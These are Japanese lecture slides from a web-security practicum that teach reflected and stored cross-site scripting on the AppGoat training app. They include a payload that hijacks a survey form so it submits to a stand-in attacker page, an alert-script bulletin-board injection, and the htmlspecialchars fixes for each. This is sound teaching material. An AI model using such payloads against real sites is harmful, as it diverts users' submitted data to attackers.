サイバーセキュリティ演習 ― Webセキュリティ基礎&実践― 4. 不正スクリプトの実行対策 講義内容 1. 2*. Webサイトの仕組みとWebプログラミング基礎 3.4.5*. 不正スクリプトの実行対策 6.7*. データベースの不正操作対策 8 *. システムの不正操作対策とHTTPレスポンスの改竄対策 9 *. 偽リクエストによるサービスの不正利用対策 10*. セッションIDの 不正取得対策 11. 総合演習(1) 12*. 公開ディレクトリの不正横断対策と認証認可制御の欠落 による不正アクセス対策とエラーメッセージからの情報 漏えい対策 13. 総合演習(2) 14. 総合演習(3) 15. 学期末試験 ※*はレポートがある回になります。 本日の内容 クロスサイトスクリプティングの脆弱性攻 撃体験と脆弱性の修正 入力情報の漏えい(反射型) 掲示板に埋め込まれるスクリプト(格納型) 演習テーマ クロスサイトスクリプティング 「入力情報の漏えい(反射型)」のリンクをクリック しましょう。 反射型クロスサイト・スクリプ ティングの脆弱性の原理 ウェブアプリケーションがユーザから受け取った入力データ を、そのままの形(実行可能な形)でウェブページの出力に 利用してしまう 反射型クロスサイト・スクリプ ティングの攻撃手口 HTMLの文法上特別な意味を持つ特殊文字がそのまま使え ることを利用して、リンク先を変更するスクリプトを URLに組み込む。 JavaScriptの利用は、スクリプトタグを使う。 <script type=“text/javascript”>~</script>:javascript利 用の宣言 特殊文字 & < > “ ‘ 以下のHTMLは、どんな結果が 表示されるか考えてみよう <html> <head> <script type="text/javascript"> function forward(){ document.getElementById("form").action="http://localhost/Web/Scen ario105/attackers_page.php"; } </script></head> <body> <form action="survey.html" id="form" method="get" onsubmit="forward()"> <input type="submit" value="送信" /> </form></body></html> Formタグのactionの内容を変 える document.getElementById(“id名”).action = “変更内 容"; “id名”の付いたformタグのactionを”変更内容”に変更する。 演習内容(疑似的な攻撃) 掲示板にアンケート送信先を改ざんするスクリプトを投 稿し、アンケートページの送信先の変更を確認する 第三者のウェブサイト 掲示板 脆弱性がある ウェブサイト セキュリティに 関するアンケート 演習の進め方 1. Webサイトの挙動を把握する 2. 脆弱性となる箇所を特定する 3. スクリプトを作成する 4. スクリプトを掲示板に投稿する 5. スクリプト投稿後の動作を確認する 1.Webサイトの挙動を把握する アンケートの入力フィー ルドに様々な値を入力し て動作を確認する。 投稿先のURLがポップ アップされることを確認 しましょう JavaScriptの処理内容と 処理している箇所を把握 しましょう URLも確認してみましょ う 少しソースコードが変わっ ています 1.Webサイトの挙動を把握する <form action="/Web/Scenario104/VulSoft/enquete.php" id="enquete_form" method="get" onsubmit="return check()"> (省略) <input type="submit" value="アンケート投稿"/> <input type="reset" value="クリア"/> </form> <div class="center"><a href="enquete.php?page=4">集計結果を 見る</a></div> <span id="text6" class="none">この内容を</span> <span id="text7" class="none">に送信します。</span> 1.Webサイトの挙動を把握する 「この内容を <script type="text/javascript"> http://localhost/Web/Scenario104/ function check() VulSoft/enquete.phpに送信しま { す。」をアラートで表示する var action = document.getElementById("enquete_form").action; alert(document.getElementById("text6").innerHTML + action + document.getElementById("text7").innerHTML); if (action != "http://" + window.location.host + window.location.pathname) { return false; } 現在のURLと異なる場合は、 } fasleとする。 (省略) (ページ遷移はしない) </script> 2.脆弱性となる箇所を特定する <sの文字をそれぞれの入 力フォームに入力して投 稿してみましょう。 投稿後のHTMLソースも 確認しましょう。 投稿後に<sが表示されな い(ばれない)箇所は? 3.スクリプトを作成する アンケートページの投稿先のURLを別のURL (http://localhost/Web/Scenario105/attackers_p age.php)に変更するスクリプトを作成しよう。 <script>document.getElementById(“id名”).action = “変更URL";</script> formタグのId名をソースコードから特定しましょう。 Id名と変更URLを修正してください。 4.スクリプトを掲示板に投稿 する 掲示板に投稿するURLを作成しよう。 http://localhost/Web/Scenario104/VulSoft/enquete .php?page=2&sex=0&old=1&company=&xss=1&tro uble=1&content=&name=<作成スクリプト> 作成したスクリプトを追記してください。 作成したURLを掲示板のURLフォームに投稿し、動作 を確認してください。 http://localhost/Web/Scenario104/VulSoft/enquete.php ?page=2&sex=0&old=1&company=&xss=1&trouble=1&c ontent=&name=<script>document.getElementById("en quete_form").action="http://localhost/Web/Scenario105 /attackers_page.php";</script> 5.スクリプト投稿後の動作を 確認する 「Congratulations!!演習 の目標を達成しまし た。」と表示されたら、 OKです。 「アンケート投稿」ボタ ンをクリックして、別サ イトのURLがポップアップ するか確認しましょう。 対処方法 原因 外部から入力できるパラメータをそのまま使用す るため、 HTML上にHTMLの文法上特別な意味を持 つ特殊文字があれば、そのままHTMLの処理が実行 される 対処方法 特殊文字の意味を打ち消し、文字そのものとして 扱うためのエスケープ処理を行う。 演習内容(脆弱性の修正) アンケートページの反射型クロスサイト・スクリプティ ングの脆弱性となるコードを特定し、動的に生成される 文言にエスケープ処理を行う 修正プログラム 掲示板 bbs.php アンケート enquete.php enquete.class.phpの処理内容をゲット メッセージ割り当て テンプレート表示 enquete.class.php 集計結果(XMLデータ)の初期設定 演習課題の成功判定に関する処理 名前のエラー時の出力に関する処理 ちなみに C:\AppGoat01\IPATool\S cenarios\Common\Enque teにソースコードがある <?php require_once "Enquete/base_enquete.class.php"; class Enquete extends Base_Enquete 一度だけ base_enquete.class.phpを 読み込み実行し、 親子関係を確立している { (省略) public function get_error_name(}{ $param = $this->get_get(); if (isset($param[parent::NAME])) { return $param[parent::NAME]; } else { return ""; }} } ?> このクラスの(親関係にある base_enquete.class.phpか ら継承した)get_get()関数 を実行 base_enquete.class.phpで 定義されている変数NAMEを 利用 脆弱性の修正の手順 enquete.class.php 1. 名前のエラー時の出力処理の内容の確認。 2. htmlspecialchars関数を使用する箇所の特定。 3. htmlspecialchars関数を使用したプログラムへの修正。 1.名前のエラー時の出力処理 の内容の確認 enquete.class.php public function get_error_name() { $param = $this->get_get(); //リクエストパラメータを取得 if (isset($param[parent::NAME])) { //リクエストパラメータに 名前がセットされている場合 return $param[parent::NAME]; • isset関数で変数がセットさ れているか検証している } else { } } return ""; //リクエストパラメータに 名前がセットされていない場合 2.htmlspecialchars関数を 使用する箇所の特定 enquete.class.php public function get_error_name() { $param = $this->get_get(); if (isset($param[parent::NAME])) { return $param[parent::NAME]; } else { return ""; } } 3.htmlspecialchars関数を 使用したプログラムへの修正 enquete.class.php public function get_error_name() { $param = $this->get_get(); if (isset($param[parent::NAME])) { return htmlspecialchars($param[parent::NAME], ENT_QUOTES, "UTF-8"); } else { return ""; } } 動作確認 スクリプトを含むURLを掲示板に投稿してみましょう。 http://localhost/Web/Scenario104/EditSoft/enquet e.php?page=2&sex=0&old=1&company=&xss=1&tr ouble=1&content=&name=<script>document.getEl ementById("enquete_form").action=" http://localhost/Web/Scenario105/attackers_page. php";</script> 投稿したスクリプトが実行されず、そのまま文字として 出力されたらOKです。 反射型クロスサイト・スクリプ ティングの要点 反射型クロスサイト・スクリプティングの脆弱性の原因 は、ウェブアプリケーションがユーザから受け取った入 力値を、エスケープ処理せずにそのまま使ってWeb ページに出力することです。 出力内容が動的に生成される場合は、スクリプトが実行 できないようにエスケープ処理をして表示するようにし ましょう。 本日の内容 クロスサイトスクリプティングの脆弱性攻 撃体験と脆弱性の修正 入力情報の漏えい(反射型) 掲示板に埋め込まれるスクリプト(格納型) クロスサイトスクリプティング の種類 反射型クロスサイト・スクリプティングの脆弱性 ウェブアプリケーションが、ユーザからの入力データに含 まれる不正なスクリプトを、そのままウェブページに埋め 込んでしまうことによって実行される。 格納型クロスサイト・スクリプティングの脆弱性 ウェブアプリケーション内部に不正なスクリプトを保存し てしまうことによって、ページを閲覧するごとにスクリプ トが実行される。 DOMベースのクロスサイト・スクリプティングの脆 弱性 DOM(Document Object Model)を利用しているスクリプ トが、DOMツリーに存在する不正なスクリプトをウェブ ページの表示に利用してしまうことによって実行される。 格納型クロスサイト・スクリプ ティングの脆弱性の原理 脆弱なウェブアプリケーションに対して、直接格納された不 正なスクリプトをそのまま実行してしまう。 格納型と反射型の違いは、直接攻撃か間接攻撃かの違い 【反射型】 【格納型】 格納型クロスサイト・スクリプ ティングの攻撃手口 HTMLの文法上特別な意味を持つ特殊文字がそのまま使え ることを利用して、アラートを出すスクリプトをそのま ま投稿する。 例えば、掲示板の本文の入力フォームに直接スクリプトを 入力する。 以下のHTMLは、どんな結果が 表示されるか考えてみよう <html> <head> <script type="text/javascript"> window.onload=function(){ alert(“Warning!!”); } </script> </head> <body><h1 id="msg">Test Page</h1></body> </html> アラートを表示する alert(“表示内容”); 文字列の場合は、ダブルクォート「”」またはシングル クォート「’」で囲む 数字の場合は、クォーテーションで囲まない 演習内容(疑似的な攻撃) 掲示板にアラートを表示するスクリプトを投稿し、アク セスしたユーザのブラウザ上でポップアップダイアログ を表示させる 脆弱性がある ウェブサイト 掲示板 演習の進め方 1. 脆弱性となる箇所を特定する 2. スクリプトを作成する 3. スクリプトを掲示板に投稿する 4. スクリプト投稿後の動作を確認する 1.脆弱性となる箇所を特定する <sの文字をそれぞれの入 力フォームに入力して投 稿してみましょう。 投稿後のHTMLソースも 確認しましょう。 投稿後に<sが表示されな い(ばれない)箇所は? 2.スクリプトを作成する 掲示板に投稿するスクリプトを作成しよう。 <script>alert(“任意の文字列”)</script> アラートを表示するスクリプトを作成してください。 3.スクリプトを掲示板に投稿 する 作成したスクリプトを掲示板の本文の入力フォームに 投稿し、動作を確認してください。 <script>alert(“Warning!!”)</script> 4.スクリプト投稿後の動作を 確認する 「Congratulations!!演習の目標を達成しました。」 とアラートが表示されたら、OKです。 対処方法 原因 外部から入力できるパラメータをそのまま使用す るため、 HTML上にHTMLの文法上特別な意味を持 つ特殊文字があれば、そのままHTMLの処理が実行 される 対処方法 特殊文字の意味を打ち消し、文字そのものとして 扱うためのエスケープ処理を行う。 演習内容(脆弱性の修正) 掲示板の格納型クロスサイト・スクリプティングの脆弱 性となるコードを特定し、動的に生成される文言にエス ケープ処理を行う 修正プログラム 掲示板 bbs.php bbs.class.phpの処理内容をゲット メッセージ割り当て テンプレート表示 bbs.class.php チャット内容の初期設定 データベースへの接続 データベース情報の取得 データベース情報を表示形式に変換 演習課題の成功判定に関する処理 脆弱性の修正の手順 bbs.class.php 1. データベースのデータ表示形式変換処理の内容の確認。 2. htmlspecialchars関数を使用する箇所の特定。 3. htmlspecialchars関数を使用したプログラムへの修正。 掲示板データベースの内容 const INIT_SQL = "CREATE TABLE bbs( id integer PRIMARY KEY AUTOINCREMENT, name text not null, title text not null, url text, date text not null, content text not null ); INSERT INTO bbs(url,name, title, content, date) VALUES ('1', '鈴木', 'テスト', 'これはテストで す', '2010年4月3日 14:25'); (省略) 掲示板データベースの内容 bbsテーブル id (整 数) name (テキス ト) title (テキス ト) url (テキス ト) Date (テキス ト) Content (テキス ト) 1 鈴木 テスト 1 2010年4月 3日 14:25 これはテス トです 2 鈴木 掲示板をつ 2 くってみま した 2010年4月 3日 14:30 ぜひ使って ください 3 佐藤 テスト 2010年4月 4日 20:08 こんにちは 3 省略 1.データベースのデータ表示 形式変換処理の内容の確認 public function get_contents() { $this->_contents["contents"] = array(); while($row = $this->stmt->fetch()) { $content = array(); foreach($row as $k => $v) { 次ページで説明 最終的な結果を返す ための配列を宣言 $value = null; if ($k == parent::CONTENT) { $value = nl2br($row[$k]); $this->is_success($value); } else { $value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8"); } $content[$k] = $value; } $this->_contents["contents"][] = $content; } 改ざん検証用にラン ダムな文字列を生成 して代入 $this->_contents["token"] = AppGoatUtil::getToken(); return $this->_contents; } 最終的な結果を返す レコードの取得 while($row = $this->stmt->fetch()) { $content = array(); レコードが取得できるまで繰り返す (レコード単位で取得している。) foreach($row as $k => $v) { $value = null; 次ページで説明 if ($k == parent::CONTENT) { $value = nl2br($row[$k]); $this->is_success($value); } else { $value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8"); } $content[$k] = $value; } $this->_contents["contents"][] = $content; } 最終的な結果を返す ための配列に代入 カラムの値を取得 foreach($row as $k => $v) { $value = null; レコードのカラム名と値をそれぞれ変 数kとvに代入できるまで繰り返す if ($k == parent::CONTENT) { 本文の内容はnl2br関数を使い、 それ以外はhtmlspecialchars $value = nl2br($row[$k]); 関数を使う $this->is_success($value); 攻撃成功判定を実施 } else { $value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8"); } $content[$k] = $value; } 関数で変換した値をカラム単位 で配列に代入 While()とForeach()のイメー ジ bbsテーブル id name title (テキス (テキス (整 数) ト) while($rowト) = $this->stmt->fetch()) 1 鈴木 テスト url (テキス ト) Date Content (テキス (テキス ト) ト) foreach($row as $k => $v) 1 2010年4月 これはテス 3日 14:25 as トです foreach($row $k => $v) while($row = $this->stmt->fetch()) 2 鈴木 掲示板をつ 2 くってみま した 2010年4月 3日 14:30 ぜひ使って ください 3 佐藤 テスト 2010年4月 4日 20:08 こんにちは 3 省略 htmlspecialchars()とnl2br()のイ メージ foreach() row[id] row[name] 1 foreach() 鈴木 htmlspecialchars() row[id] row[content] … これはテストです htmlspecialchars() row[name] while() nl2br() row[content] … ぜひ使ってください 2 鈴木 content[id] content[content] foreach() content[name] … これはテストです 鈴木 row[name] 1 htmlspecialchars() nl2br() row[id] htmlspecialchars() row[content] 3 content[id] 佐藤 content[name] 1 htmlspecialchars() … 鈴木 htmlspecialchars() content[id] content[name] 3 佐藤 … こんにちは content[content] これはテストです nl2br() content[content] … こんにちは nl2br関数 nl2br(文字列); 引数に指定した文字列に含まれるすべての改行文字の前 に改行タグ(<br />)を自動で挿入するPHP関数。 <? php $msg = nl2br(“こんにちは。\nお元気ですか?”); print $msg; ?> “こんにちは。<br />\nお元気ですか?” こんにちは。 お元気ですか? 2.htmlspecialchars関数を 使用する箇所の特定 foreach($row as $k => $v) { $value = null; if ($k == parent::CONTENT) { $value = nl2br($row[$k]); $this->is_success($value); } else { $value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8"); } $content[$k] = $value; } 3.htmlspecialchars関数を 使用したプログラムへの修正 foreach($row as $k => $v) { $value = null; if ($k == parent::CONTENT) { $value = nl2br(htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8")); $this->is_success($value); } else { $value = htmlspecialchars($row[$k], ENT_QUOTES, "UTF-8"); } $content[$k] = $value; } 動作確認 スクリプトを掲示板の本文に投稿してみましょう。 <script>alert(“Warning!!”)</script> 投稿したスクリプトが実行されなければOKです。 格納型クロスサイト・スクリプ ティングの要点 格納型クロスサイト・スクリプティングの脆弱性の原因 も、ウェブアプリケーションがユーザから受け取った入 力値を、エスケープ処理せずにそのまま使ってWeb ページに出力することです。 出力内容が動的に生成される場合は、スクリプトが実行 できないようにエスケープ処理をして表示するようにし ましょう。
© Copyright 2024 ExpyDoc